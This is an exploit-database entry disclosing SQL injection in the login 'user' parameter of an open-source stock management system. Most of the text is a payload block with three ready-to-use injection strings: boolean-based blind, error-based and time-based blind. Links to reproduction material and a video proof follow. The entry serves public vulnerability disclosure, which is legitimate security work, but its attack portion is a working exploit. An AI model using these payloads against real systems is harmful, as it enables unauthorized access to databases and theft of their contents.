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## https://sploitus.com/exploit?id=PACKETSTORM:170328
## Title: Stock-Management-System-2022-1.0-from-Erick-Cesar Multiple SQLi  
## Author: nu11secur1ty  
## Date: 12.22.2022  
## Vendor: https://github.com/rickxy/Stock-Management-System  
## Software: https://github.com/rickxy/Stock-Management-System  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rickxy/2022/Stock-Management-System-1.0  
  
## Description:  
The `user` parameter appears to be vulnerable to SQL injection attacks.  
The payload ' was submitted in the user parameter, and a database  
error message was returned.  
The attacker can still all information for the system by using this  
vulnerability.  
  
## STATUS: HIGH Vulnerability - CRITICAL  
  
[+] Payload:  
  
```MySQL  
---  
Parameter: user (POST)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY  
or GROUP BY clause  
Payload: user=bqxDgfIK' RLIKE (SELECT (CASE WHEN (8457=8457) THEN  
0x627178446766494b ELSE 0x28 END)) AND  
'BTvs'='BTvs&password=s9U!o7d!C0&btnlogin=  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: user=bqxDgfIK' AND (SELECT 5004 FROM(SELECT  
COUNT(*),CONCAT(0x7178767071,(SELECT  
(ELT(5004=5004,1))),0x7171707a71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND  
'aQfu'='aQfu&password=s9U!o7d!C0&btnlogin=  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: user=bqxDgfIK' AND (SELECT 8137 FROM  
(SELECT(SLEEP(7)))nCyy) AND 'vQsi'='vQsi&password=s9U!o7d!C0&btnlogin=  
---  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rickxy/2022/Stock-Management-System-1.0)  
  
  
## Proof and Exploit:  
[href](https://streamable.com/gg7pyf)  
  
## Time spent  
`00:05:00`  
  
## Writing an exploit  
`00:05:00`